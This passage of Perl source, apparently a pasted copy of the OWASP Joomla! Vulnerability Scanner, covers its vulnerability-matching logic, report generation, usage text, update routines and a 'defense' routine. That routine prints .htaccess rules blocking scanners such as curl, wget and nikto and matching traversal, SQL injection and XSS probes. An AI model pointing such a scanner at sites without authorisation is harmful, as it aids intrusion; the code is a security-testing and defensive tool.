  2258.                 case(/Path Disclosure/)
  2259.                 {
  2260.                     if($exploit =~ /N\/A/ || $exploit !~ /^\//){last;}
  2261.                    
  2262.                     if(is_path_disclosed(get_url_content($url.$exploit)) eq 1)
  2263.                     {
  2264.                         $isvuln = 1;}
  2265.                     else{$vulnans = 'No';}                
  2266.                 }
  2267.  
  2268.            } # end switch
  2269.            
  2270.             ### vuln detection based on version deduced ###
  2271.             ### unless security-savvy webmasters modified version probing files
  2272.             ### this will give you 99.99% correct vulnerability identification
  2273.             if ($info =~ /Core/g && $isvuln eq 0 && $vulnans ne 'No' && $jversion !~ /N\/A/)
  2274.             {
  2275.                 my $jverx = '';
  2276.                 if($jversion =~ m{(\d.\d{1,2}.\d{1,2})}g)
  2277.                 {
  2278.                     $jverx = $1;                    
  2279.                 }
  2280.                # for each 1.x and 1.5.x
  2281.  
  2282.                 my $vulnver = $jverx;
  2283.                 $vulnver =~ s/1\.0\.//g;
  2284.                 $vulnver =~ s/1\.5\.//g;
  2285.              
  2286.                 $vulnver = int($vulnver);
  2287.                 if($exact_version_found eq 1)
  2288.                 {
  2289.                     my $ex_ver = $exact_version;
  2290.                     $ex_ver =~ s/1\.0\.//g;
  2291.                     $ex_ver =~ s/1\.5\.//g;
  2292.                     $ex_ver = int($ex_ver);
  2293.  
  2294.                    if($vulnver >= $ex_ver)
  2295.                    {                      
  2296.                         $isvuln = 1;  
  2297.                    }
  2298.                    else{$vulnans = 'No';}
  2299.                 }
  2300.                 else
  2301.                 {
  2302.                     if($lowest_version_max =~ /[0-9]/g &&  $biggest_version_min =~ /[0-9]/g )
  2303.                     {
  2304.                         $lowest_version_max = int($lowest_version_max);
  2305.                         $biggest_version_min = int($biggest_version_min);
  2306.                        
  2307.                         if( $vulnver >= $biggest_version_min or $vulnver >= $lowest_version_max )                    
  2308.                         {
  2309.                             $isvuln = 1;    
  2310.                         }
  2311.                         else{$vulnans = 'No';}
  2312.                     }
  2313.                 }              
  2314.                
  2315.                
  2316.             }            
  2317.             $total_found_entries ++;
  2318.             if($isvuln eq 1)
  2319.             {
  2320.                 if($vulnans eq 'N/A')
  2321.                 {
  2322.                     print "\nVulnerable? Yes\n";                    
  2323.                     if(($args{o}) && $args{o} eq 'h'){ print EX "Vulnerable? <span class=\"rb\">Yes</span><br/>";}
  2324.                     elsif(($args{o}) && $args{o} eq 't'){print  EX "Vulnerable? Yes\n\n";}    
  2325.                 }
  2326.                 else
  2327.                 {
  2328.                     print "\nVulnerable? $vulnans\n";
  2329.                     if(($args{o}) && $args{o} eq 'h' && $vulnans =~ /No/gi){ print EX "Vulnerable? <span class=\"gb\">$vulnans</span><br/>";}
  2330.                     if(($args{o}) && $args{o} eq 'h' && $vulnans =~ /N\/A/gi){ print EX "Vulnerable? <span class=\"gray\">$vulnans</span><br/>";}
  2331.                     elsif(($args{o}) && $args{o} eq 't'){print  EX "Vulnerable? $vulnans\n\n";}            
  2332.                 }
  2333.                 if(($args{o}) && $args{o} eq 'h')
  2334.                 {
  2335.                     switch($info)
  2336.                     {
  2337.                         case (/Generic:/i){$J_GENERIC_HOLES++;}
  2338.                         case (/Core:/i){$J_CORE_HOLES ++;}
  2339.                         case (/Core/i){$J_CORE_MODULES_HOLES++;}
  2340.                         else{$J_3rdParties_HOLES++;}
  2341.                     }
  2342.                     switch($info)
  2343.                     {
  2344.                         case (/XSS/i){$J_XSS_HOLES++;}
  2345.                         case (/SQL/i){$J_SQLin_HOLES ++;}
  2346.                         case (/(file include|file inclusion|RFI|LFI)/i){$J_FI_HOLES++;}
  2347.                         case (/(Generic:|Disclosure)/i){$J_INFO_HOLES ++;}
  2348.                         case (/Traversal/i){$J_DirTr_HOLES ++;}    
  2349.                         else{$J_OTHER_HOLES++;}
  2350.                     }                    
  2351.                 }
  2352.                 $found_vulnerable++;
  2353.             }
  2354.             else
  2355.             {
  2356.                 print "\nVulnerable? $vulnans\n";
  2357.                     if(($args{o}) && $args{o} eq 'h' && $vulnans =~ /No/gi){ print EX "Vulnerable? <span class=\"gb\">$vulnans</span><br/>";}
  2358.                     if(($args{o}) && $args{o} eq 'h' && $vulnans =~ /N\/A/gi){ print EX "Vulnerable? <span class=\"gray\">$vulnans</span><br/>";}
  2359.                 elsif(($args{o}) && $args{o} eq 't'){print  EX "Vulnerable? $vulnans\n\n";}
  2360.             }
  2361.  
  2362.             ########## [/Vulnerability Detection] ######################
  2363.             print "\n";
  2364.             if(($args{o}) && $args{o} eq 'h'){print EX "<input type='button' title='Send selected exploit text/link to the URL box' value=' Send Selection ' onclick='document.getElementById(\"cxp\").style.display=\"\";document.getElementById(\"url\").value=\"$url\"+document.getSelection();'/><br/><br/></li>"; }
  2365.  
  2366.  
  2367.         } # end of $resource_found
  2368.     }  # end of length check
  2369.     }  # end of length info
  2370.     $timer++;
  2371.     if(($args{s}) && $args{s} =~ /p/gi)
  2372.     {
  2373.     print_completed_by_percentage($dbentry,$timer);
  2374.     }
  2375.    
  2376. }
  2377. close(JO);
  2378.  
  2379. ## free
  2380. undef(@checked_urls);
  2381.  
  2382. if ($found == 0){print "NO vulnerable points!\n";bye;}
  2383. else{
  2384.     if($found_vulnerable > 1){ print "There are $found_vulnerable vulnerable points in $total_found_entries found entries!\n";}
  2385.     else{ print "There is a vulnerable point in $total_found_entries found entries!\n";}
  2386. sub get_chart_height
  2387. {
  2388.     if( $J_GENERIC_HOLES > 1 || $J_CORE_HOLES > 1 || $J_CORE_MODULES_HOLES > 1 || $J_3rdParties_HOLES > 1 ){return 400;}else{return 200;}
  2389. }    
  2390.    
  2391.     if(($args{o}) && $args{o} eq 'h')
  2392.     {
  2393.         print EX qq{</ol>
  2394. <script type="text/javascript">
  2395.    
  2396.     var myData = new Array(['Generic', $J_GENERIC_HOLES], ['Core', $J_CORE_HOLES], ['Core Modules', $J_CORE_MODULES_HOLES], ['3rd-party Modules',$J_3rdParties_HOLES]);
  2397.     var colors = ['#4F4AB3','#CE0000','#CE0000', '#A70000'];
  2398.     var vulChart = new JSChart('vuln_graph', 'bar');
  2399.     vulChart.setDataArray(myData); 
  2400.     vulChart.colorizeBars(colors);
  2401.     vulChart.setDataArray(myData);
  2402.     vulChart.setShowYValues(false);
  2403.         vulChart.setSize(550,}.get_chart_height().qq{);
  2404.         vulChart.setTextPaddingTop(0);
  2405.     vulChart.setAxisColor('#9D9F9D');  
  2406.     vulChart.setAxisNameX('Area');
  2407.     vulChart.setAxisNameY('Number');
  2408.     vulChart.setAxisNameColor('#655D5D');
  2409.     vulChart.setAxisNameFontSize(9);
  2410.     vulChart.setAxisValuesColor('#DA352D');
  2411.     vulChart.setAxisValuesFontSize(9);
  2412.     vulChart.setAxisValuesDecimals(-0.5);
  2413.         vulChart.setAxisPaddingBottom(40);
  2414.     vulChart.setBarValuesColor('#DA352D');
  2415.     vulChart.setBarValuesFontSize(9);
  2416.     vulChart.setBarBorderWidth(1);
  2417.     vulChart.setTitle("by Affected Area");
  2418.     vulChart.setTitleColor('#696969');
  2419.     vulChart.setGrid(false);
  2420.     vulChart.setTooltip(['Core', 'Core Application Framework']);
  2421.     vulChart.setTooltip(['Generic','Inherently vulnerable by design']);
  2422.     vulChart.setTooltip(['Core Modules','Includes Core plugins, core components ..etc.']);
  2423.     vulChart.setTooltip(['3rd-party Modules','3rd party related extensions - templates, plugins, components ..etc']);
  2424.     vulChart.draw();
  2425.  
  2426.     var myData = new Array(}.pie_values().qq{); /*['SQL Injection', $J_SQLin_HOLES], ['XSS', $J_XSS_HOLES], ['File Inclusion', $J_FI_HOLES], ['Information Disclosure', $J_INFO_HOLES],['Directory Traversal', $J_DirTr_HOLES ], ['Others', $J_OTHER_HOLES]*/
  2427.     var colors = }.pie_colors().qq{ /*['#CB0A0A',  '#FB4800', '#FF6B28','#FB9900','#923A2E','#CA6558' ];*/
  2428.         var vulPie = new JSChart('vuln_pie', 'pie');
  2429.     vulPie.setDataArray(myData);
  2430.     vulPie.colorizePie(colors);
  2431.     vulPie.setPieUnitsFontSize(9); 
  2432.     vulPie.setGraphLabelColor("#DA352D");
  2433.     vulPie.setTitleColor('#8C8382');
  2434.         vulPie.setTextPaddingTop(35);
  2435.     vulPie.setPieValuesFontSize(9);
  2436.     vulPie.setPieUnitsColor('#DA352D');
  2437.     vulPie.setSize(600,440);
  2438.         vulPie.setPieUnitsOffset(20);
  2439.     vulPie.setTitle("by Vulnerability Type");
  2440.     vulPie.setTitleColor('#696969');
  2441.     vulPie.draw();
  2442.    
  2443. </script>        
  2444.         };
  2445.         print EX '<span id="vuln_point_total" style="display:none;">Total items - <span class="bold">'.$total_found_entries.'</span><br/>Possible Vulnerable
  2446.    items - <span class="vuln">'.$found_vulnerable.'</span></span> <a href="http://www.fsf.org/licensing/licenses/gpl.html" target="_blank"><img border="0" src="assets/img/gplv3-logo.png" style="float:right"/></a>
  2447.    </div><div style="font-style:italics;font-size:12px;">Generated by <a href="http://www.owasp.org/index.php/Category:OWASP_Joomla_Vulnerability_Scanner_Project" target="_blank">OWASP Joomla! Vulnerability Scanner</a> version '.$JOOMSCAN{scanner_version} .' (Database Update: '.$lastupdate.')<br/>[*] Send bugs, suggestions, contributions to <script>document.write("'.$JOOMSCAN{bug_report_email}.'".split("").reverse().join(""));</script><br/></div></body></html>';
  2448.         close (EX);
  2449.     }
  2450.     if (($args{o}) && $args{o} eq 't')
  2451.     {
  2452.     print EX "\n[!] Vulnerable Point(s) - $found_vulnerable in $total_found_entries found entries \n\nGenerated by OWASP Joomla! Vulnerability Scanner\n[*] Send bugs, suggestions, contributions to ".reverse($JOOMSCAN{bug_report_email})."\n";
  2453.     close(EX);}
  2454.     if ($args{o}){print "\n~Done saving result as $outfile\n";}
  2455.     bye;
  2456. }
  2457.  
  2458.  
  2459.  
  2460. ############# [ROUTINES] ################
  2461. sub doc_read
  2462. {
  2463.     my $f = shift;$f = uc($f);    
  2464.     open(RE,"$EXECDIR/doc/".$f) || die ("There is no such doc available. Maybe you removed it or use older version of the scanner. Use joomscan.pl download to download new package. Error Message:  $!");
  2465.     close(RE);
  2466.     if ($^O =~ /Win/) {system("more doc\\".$f);}else{system("more doc/".$f);}    
  2467.     exit;
  2468. }
  2469. sub usage {
  2470.     use Env qw(OS);
  2471.    
  2472.     print_owasp_logo();
  2473.    
  2474.    
  2475.     print STDERR
  2476.     qq{
  2477. =================================================================
  2478.  OWASP Joomla! Vulnerability Scanner v$JOOMSCAN{scanner_version}  
  2479.  (c) $JOOMSCAN{author}
  2480.  YGN Ethical Hacker Group, Myanmar, http://yehg.net/lab
  2481.  Update by: Web-Center, http://web-center.si (2011)
  2482. =================================================================
  2483. };
  2484. sleep(3);
  2485. print qq{
  2486.  Vulnerability Entries: $dbentry
  2487.  Last update: $lastupdate
  2488. };
  2489.  
  2490. print qq{
  2491.  Usage:  $0 -u <string> -x proxy:port
  2492.          -u <string>      = joomla Url
  2493.  
  2494.          ==Optional==
  2495.  
  2496.          -x <string:int>  = proXy to tunnel
  2497.          -c <string>      = Cookie (name=value;)
  2498.          -g "<string>"    = desired useraGent string(within ")
  2499.         -nv              = No Version fingerprinting check
  2500.         -nf              = No Firewall detection check
  2501.         -nvf/-nfv        = No version+firewall check
  2502.          -pe          = Poke version only and Exit
  2503.         -ot              = Output to Text file (target-joexploit.txt)
  2504.         -oh              = Output to Html file (target-joexploit.htm)
  2505.         -vu              = Verbose (output every Url scan)
  2506.      -sp          = Show completed Percentage
  2507.        
  2508. ~Press ENTER key to continue };
  2509. if (<STDIN>)
  2510. {
  2511.  
  2512. if ($^O =~ /Win/) {system("cls");}else{system("clear");}
  2513.  
  2514. print qq{
  2515. Example:  $0 -u victim.com -x localhost:8080
  2516.      
  2517. Check:    $0 check
  2518.           - Check if the scanner update is available or not.
  2519.  
  2520. Update:   $0 update
  2521.           - Check and update the local database if newer version is available.
  2522.  
  2523. Download: $0 download
  2524.           - Download the scanner latest version as a single zip file - joomscan-latest.zip.
  2525.  
  2526. Defense:  $0 defense
  2527.           - Give a defensive note.
  2528.  
  2529. About:    $0 story
  2530.           - A short story about joomscan.
  2531.  
  2532. Read:     $0 read DOCFILE
  2533.           DOCFILE - changelog,release_note,readme,credits,faq,owasp_project
  2534.  
  2535. };
  2536. }
  2537.  exit(1);
  2538. }
  2539. sub story {
  2540.    print qq{
  2541. A Story about OWASP Joomla! Vulnerability Scanner $JOOMSCAN{scanner_version}
  2542. (c) Aung Khant, http://yehg.net/lab
  2543. };
  2544.    print "\n";sleep(1);print "\n";sleep(1);
  2545.    print "Nowadays ...\n";
  2546.    sleep(1);
  2547.    print "with fruitful results of Opensource ..\n";
  2548.    sleep(1);
  2549.    print "the use of CMS are more and more prevailing ...\n";
  2550.    sleep(1);
  2551.    print "integrating into .\t";sleep(1);
  2552.    print "embeding into ..\n";sleep(1);
  2553.    print "wrapping with a nice site design.\n";sleep(1);print "\n";sleep(1);
  2554.    print "\nAttackers take advange of its widespread use\n";sleep(1);
  2555.    print "ever victimizing CMS web sites with simplest strings of attack.\n";sleep(1);print "\n";sleep(1);
  2556.    print "\nVulnerability scanners targeting or dedicating only to\n";sleep(1);
  2557.    print "most popular widespread CMS are demanding among helpless web developers.\n";sleep(1);print "\n";sleep(1);
  2558.    print "\nWith this in mind, this JoomScan was c0ded and distributed mainly to\n"; sleep(1);
  2559.    print "the world of webmasters, web developers and the like.\n";sleep(1);
  2560.    print "\nI researched Joomla! vulnerabilities deeply into the web."; sleep(1);
  2561.    print "\nI learnt that a complete Joomla! vulnerability list archive was not found at\n";sleep (1);
  2562.    print "even milw0rm.com or secunia.com\n"; sleep (1);print "\n";sleep(1);
  2563.    print "I realized unfamous holes ever exist in the wild "; sleep (1);
  2564.    print "known only to a few who keep secret.\n";
  2565.    sleep(1);print "\n";sleep(1);
  2566.    print "\n~Story finished. Have fun!\n";
  2567.    bye;
  2568. }
  2569. sub defense {
  2570.  print qq {
  2571. Defensive Measure:
  2572. ===================
  2573. 0x0. Patch your vulnerable components or modules.
  2574.     This can be achieved via upgrading to the latest version or patch files.
  2575.     But in some components where development is dead, you should better
  2576.     remove those components. Those kind of components are marked as
  2577.     "Versions Affected: Any or All".
  2578.  
  2579. 0x1. Implement php-ids (http://php-ids.org) but it supports only PHP Version 5.2 and above
  2580. 0x2. Implement mod_security but you may not urge your web server admin to install
  2581. 0x3. The mod_write security rules provide base-line readily-extensible security measure:
  2582.     Add the following code in .htaccess of your root folder:
  2583.  
  2584. # Hardened Apache Mod_Rewrite Security Rule
  2585. # Last updated Dec 01 2008, check update at http://yehg.net/lab/pr0js/misc/modrewrite-securityrule.php
  2586. # Provided by Aung Khant,http://yehg.net/lab
  2587. RewriteEngine on
  2588. # Allow only GET and POST verbs
  2589. RewriteCond %{REQUEST_METHOD} !^(GET|POST)\$ [NC,OR]
  2590. # Ban Typical Vulnerability Scanners and others
  2591. # Kick out Script Kiddies
  2592. RewriteCond %{HTTP_USER_AGENT} ^()\$ [NC,OR] # void of UserAgent
  2593. RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget).* [NC,OR]
  2594. RewriteCond %{HTTP_USER_AGENT} ^.*(libwww-perl|curl|wget|python|nikto|wkito|pykto|pikto|scan|acunetix|qualys|fuck|kiss|ass|Morfeus|0wn|hack|h4x|h4x0r).* [NC,OR]
  2595. RewriteCond %{HTTP_USER_AGENT} ^.*(winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner).* [NC,OR]
  2596.  
  2597. # Block out common attack strings
  2598. # Anti-bypassing with star-slash, slash-star
  2599. RewriteCond %{QUERY_STRING} ^.*(/\\\*|\\\*/).* [NC,OR]
  2600. # Directory Travarsal & Null Byte Injection
  2601. RewriteCond %{QUERY_STRING} (\.\./|\.\.%2f|\.\.%u2215|%u002e%u002e%u2215|%252e%252e%252f|%00|\\00|\\x00|\\u00|%5C00|&#|&#x|%09|%0D%0A) [NC,OR]
  2602. # SQL Injection        Probing
  2603. RewriteCond %{QUERY_STRING} ^.*(OR%201=1|/select/|/union/|/insert/|/update/|/delete/).* [NC,OR]
  2604. # Remote/Local File Inclusion
  2605. RewriteCond %{QUERY_STRING} (http:\/\/)*(\?)\$ [NC,OR]
  2606. # PHP Version Probing
  2607. RewriteCond %{QUERY_STRING} (?=PHP).* [NC,OR]
  2608. # XSS Probing
  2609. RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
  2610. # PHP GLOBALS Overriding
  2611. RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [NC,OR]
  2612. # PHP REQUEST variable Overriding
  2613. RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
  2614. # Deny access
  2615. RewriteRule ^(.*)\$ index.php [F,L]
  2616.  
  2617.  
  2618. };
  2619. print "Do you want me to write the above .htaccess code to file? [y/n]\n\n";
  2620. my $ans = <STDIN>;
  2621. chomp($ans);
  2622. if($ans eq 'y')
  2623. {
  2624.   open(HT,">.htaccess");
  2625.   print HT "# Hardened Apache Mod_Rewrite Security Rule\n# Provided by Aung Khant,http://yehg.net/lab, Check update at http://yehg.net/lab/pr0js/misc/modrewrite-securityrule.php\nRewriteEngine on\n# Allow only GET and POST verbs\nRewriteCond %{REQUEST_METHOD} !^(GET|POST)\$ [NC,OR]\n# Ban Typical Vulnerability Scanners and others\n# Kick out Script Kiddies\nRewriteCond %{HTTP_USER_AGENT} ^()\$ [NC,OR] # void of UserAgent\nRewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget).* [NC,OR]\nRewriteCond %{HTTP_USER_AGENT} ^.*(libwww-perl|curl|wget|python|nikto|wkito|pikto|pykto|scan|acunetix|qualys|fuck|kiss|ass|Morfeus|0wn|hack|h4x|h4x0r).* [NC,OR]\nRewriteCond %{HTTP_USER_AGENT} ^.*(winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner).* [NC,OR]\n# Block out common attack strings \n# Anti-bypassing with star-slash, slash-star\nRewriteCond %{QUERY_STRING} ^.*(/\\\*|\\\*/).* [NC,OR]\n# Directory Travarsal & Null Byte Injection\nRewriteCond %{QUERY_STRING} (\.\./|\.\.%2f|\.\.%u2215|%u002e%u002e%u2215|%252e%252e%252f|%00|\\00|\\x00|\\u00|%5C00|&#|&#x|%09|%0D%0A) [NC,OR]\n# SQL Injection        Probing\nRewriteCond %{QUERY_STRING} ^.*(OR%201=1|/select/|/union/|/insert/|/update/|/delete/).* [NC,OR]\n# Remote/Local File Inclusion\nRewriteCond %{QUERY_STRING} (http:\/\/)*(\?)\$ [NC,OR]\n# PHP Version Probing\nRewriteCond %{QUERY_STRING} (?=PHP).* [NC,OR]\n# XSS Probing\nRewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]\n# PHP GLOBALS Overriding\nRewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [NC,OR]\n# PHP REQUEST variable Overriding\nRewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})\n# Deny access\nRewriteRule ^(.*)\$ index.php [F,L]\n";
  2626.    close HT;
  2627.    print "\n~Done writing to file successfully. have fun!\n";
  2628.  }
  2629.   bye;
  2630. }
  2631. sub check {
  2632.     print_owasp_logo();
  2633.     print qq{
  2634. OWASP Joomla! Vulnerability Scanner Program Update
  2635. (c) Aung Khant, http://yehg.net/lab
  2636. Update by: Web-Center, http://web-center.si
  2637.  
  2638. };
  2639.         my $file = shift || $0;
  2640.         open(FILE, $file) or die "Can't open '$file': $!";
  2641.         my $md5 = Digest::MD5->new;
  2642.     my $ua = LWP::UserAgent->new('requests_redirectable'=>['HEAD','GET','POST']);              
  2643.     $ua->timeout(30);      
  2644.         while (<FILE>) {
  2645.                 $md5->add(encode_utf8($_));
  2646.         }
  2647.         close(FILE);
  2648.         my $local_hash = $md5->hexdigest;
  2649.         my $remote_con = $ua->request(GET "$JOOMSCAN{scanner_update_url}");
  2650.         if ($remote_con->status_line !~ /200/)
  2651.         {
  2652.                 print "~[x] Unable to connect the update server!\nUse svn update instead.\nsvn co https://joomscan.svn.sourceforge.net/svnroot/joomscan/trunk joomscan\n";bye;
  2653.         }
  2654.         my $remote_hash = md5_hex(encode_utf8($remote_con->content));
  2655.  
  2656.         if ($local_hash eq $remote_hash)
  2657.         {
  2658.                 print "[*] Scanner Update is not available.\n~Please check again later.\n";
  2659.         }else{
  2660.                 print qq {
  2661. ~Scanner Update is now available!
  2662. ~Downloading and saving as joomscan1.pl ...
  2663.  
  2664. };
  2665.                 open(UPD,">joomscan1.pl");
  2666.                 print UPD encode_utf8($remote_con->content);
  2667.                 close(UPD);
  2668.                 print "~Done. Please check joomscan1.pl. If it works,rename it to joomscan.pl\n\n";
  2669.                 print "\nUpdate Note:\n",get_url_content($JOOMSCAN{scanner_update_note_url});
  2670.                 print "\n\n";
  2671.         }
  2672.         bye;
  2673. }
  2674. sub download{
  2675.     my $ua = LWP::UserAgent->new('requests_redirectable'=>['HEAD','GET','POST']);              
  2676.     $ua->timeout(30);    
  2677.     print_owasp_logo();  
  2678.     print qq{
  2679. OWASP Joomla! Vulnerability Scanner Full Package Download
  2680. (c) Aung Khant, http://yehg.net/lab
  2681. Update by: Web-Center, http://web-center.si
  2682.    
  2683. URL: $JOOMSCAN{scanner_download_url}
  2684.  
  2685. };
  2686.     use WWW::Mechanize;        
  2687.     my $mech = WWW::Mechanize->new;        
  2688.     $mech->get("$JOOMSCAN{scanner_download_url}",":content_file"=>'joomscan-latest.zip');
  2689.     print "Done saving as joomscan-latest.zip\n";
  2690.     print "\nUpdate Note:\n",get_url_content($JOOMSCAN{scanner_update_note_url});
  2691.     print "\n\n";
  2692.     bye;
  2693. }
  2694. sub update {
  2695.     print_owasp_logo();
  2696.     my $ua = LWP::UserAgent->new('requests_redirectable'=>['HEAD','GET','POST']);              
  2697.     $ua->timeout(30);  
  2698.     my $update_info_request = $ua->get($JOOMSCAN{db_info_url});
  2699.     print qq{
  2700. OWASP Joomla! Vulnerability Scanner Database Update
  2701. (c) Aung Khant, http://yehg.net/lab
  2702. Update by: Web-Center, http://web-center.si
  2703.  
  2704. };
  2705.     if($update_info_request->status_line =~ m/200/g)
  2706.     {
  2707.         my @remote_updates = split /\n/,$update_info_request->content;
  2708.         chomp(@remote_updates);
  2709.         my($remote_db_entries,$remote_lastupdate) = @remote_updates;
  2710.         $remote_lastupdate =~ s/\s$//g;
  2711.         print "\nRemote Database Entries: $remote_db_entries\nRemote Last Update: $remote_lastupdate";
  2712.         print "\n\n". "Local Database Entries: $dbentry \nLocal Last update: $lastupdate\n\n";
  2713.  
  2714.  
  2715.         if($remote_lastupdate ne $lastupdate)
  2716.         {
  2717.             print "~Updating..\n";
  2718.             my $update_db_request =  $ua->get($JOOMSCAN{db_update_url});
  2719.  
  2720.             if($update_db_request->status_line =~ m/200/g )
  2721.             {
  2722.                 my $update_db_contents = $update_db_request->content;
  2723.                 $update_db_contents=~ s/\r\n/\n/g;
  2724.                 open(DBX,">$JOOMSCAN{joomdbfile}");
  2725.                 print DBX $update_db_contents;
  2726.                 close DBX;
  2727.  
  2728.                 my $update_info_contents = $update_info_request->content;
  2729.                 $update_info_contents =~ s/\r\n/\n/g;
  2730.                 open(INFOX,">$JOOMSCAN{joomdbinfofile}");
  2731.                 print INFOX $update_info_contents;
  2732.                 close INFOX;
  2733.  
  2734.                 print "\n~Done successfully. have fun!\n";
  2735.                 print "\nUpdate Note:\n",get_url_content($JOOMSCAN{scanner_update_note_url});
  2736.                 print "\n\n";                    
  2737.             }
  2738.             else
  2739.             {
  2740.                 print "~Database cannot be retrieved. Try again later.\n";
  2741.             }
  2742.         }
  2743.         else
  2744.         {
  2745.             print "No database update currently. Check at least once a month.\n";
  2746.         }
  2747.         bye;
  2748.     }
  2749.     else {
  2750.                 print "Please try again later. I got - ", $update_info_request->status_line,"\n";
  2751.         }
  2752.  
  2753.  
  2754.     bye;
  2755. }
  2756. sub auto_update{
  2757.         my $ua = LWP::UserAgent->new('requests_redirectable'=>['HEAD','GET','POST']);              
  2758.         $ua->timeout(30);          
  2759.         my $file = shift || $0;
  2760.         open(FILE, $file) or die "Can't open '$file': $!";
  2761.         my $md5 = Digest::MD5->new;
  2762.         while (<FILE>) {
  2763.                 $md5->add(encode_utf8($_));
  2764.         }
  2765.         close(FILE);
  2766.         my $local_hash = $md5->hexdigest;
  2767.         my $remote_con = $ua->request(GET "$JOOMSCAN{scanner_update_url}");
  2768.         if ($remote_con->status_line =~ /200/g)
  2769.         {
  2770.                 my $remote_hash = md5_hex(encode_utf8($remote_con->content));
  2771.  
  2772.                 if ($local_hash ne $remote_hash)
  2773.                 {
  2774.     print qq{
  2775. Joomla! Vulnerability Scanner Program Update
  2776. (c) Aung Khant, http://yehg.net/lab
  2777. Update by: Web-Center, http://web-center.si
  2778.  
  2779. ~Scanner Update is now available!
  2780. ~Downloading and saving as joomscan1.pl ...
  2781.  
  2782. };
  2783.                         open(UPD,">joomscan1.pl");
  2784.                         print UPD encode_utf8($remote_con->content);
  2785.                         close(UPD);
  2786.                         print "~Done. Run that latest version joomscan1.pl after renaming it to joomscan.pl \n";
  2787.                         print "\nUpdate Note:\n",get_url_content($JOOMSCAN{scanner_update_note_url});
  2788.                         print "\n\n";                        
  2789.                         bye;
  2790.                 }
  2791.     }
  2792.  
  2793.    my $update_info_request = $ua->get($JOOMSCAN{db_info_url});
  2794.  
  2795.     if($update_info_request->status_line =~ m/200/g)
  2796.     {
  2797.         my @remote_updates = split /\n/,$update_info_request->content;
  2798.         chomp(@remote_updates);
  2799.         my($remote_db_entries,$remote_lastupdate) = @remote_updates;
  2800.         $remote_lastupdate =~ s/\s$//g;
  2801.  
  2802.         if($remote_lastupdate ne $lastupdate)
  2803.         {
  2804.     print qq{
  2805. Joomla! Vulnerability Scanner Database Update
  2806. (c) Aung Khant, http://yehg.net/lab
  2807. Update by: Web-Center, http://web-center.si
  2808.  
  2809. Database update is now available.
  2810.  
  2811. };
  2812.             my $update_db_request =  $ua->get("$JOOMSCAN{db_update_url}");
  2813.  
  2814.                         if($update_db_request->status_line =~ m/200/g )
  2815.                         {
  2816.                                 my $update_db_contents = $update_db_request->content;
  2817.                                 $update_db_contents=~ s/\r\n/\n/g;
  2818.                                 open(DBX,">$JOOMSCAN{joomdbfile}");
  2819.                                 print DBX $update_db_contents;
  2820.                                 close DBX;
  2821.  
  2822.                                 my $update_info_contents = $update_info_request->content;
  2823.                                 $update_info_contents =~ s/\r\n/\n/g;
  2824.                                 open(INFOX,">$JOOMSCAN{joomdbinfofile}");
  2825.                                 print INFOX $update_info_contents;
  2826.                                 close INFOX;
  2827.  
  2828.                                 print "\n~updated successfully. Will use new database from now on!\n";
  2829.                                 sleep(5);
  2830.                         }
  2831.         }
  2832.     }
  2833.  
  2834. }
  2835.  
  2836. ############# [/ROUTINES] ################
Add Comment
Please, Sign In to add comment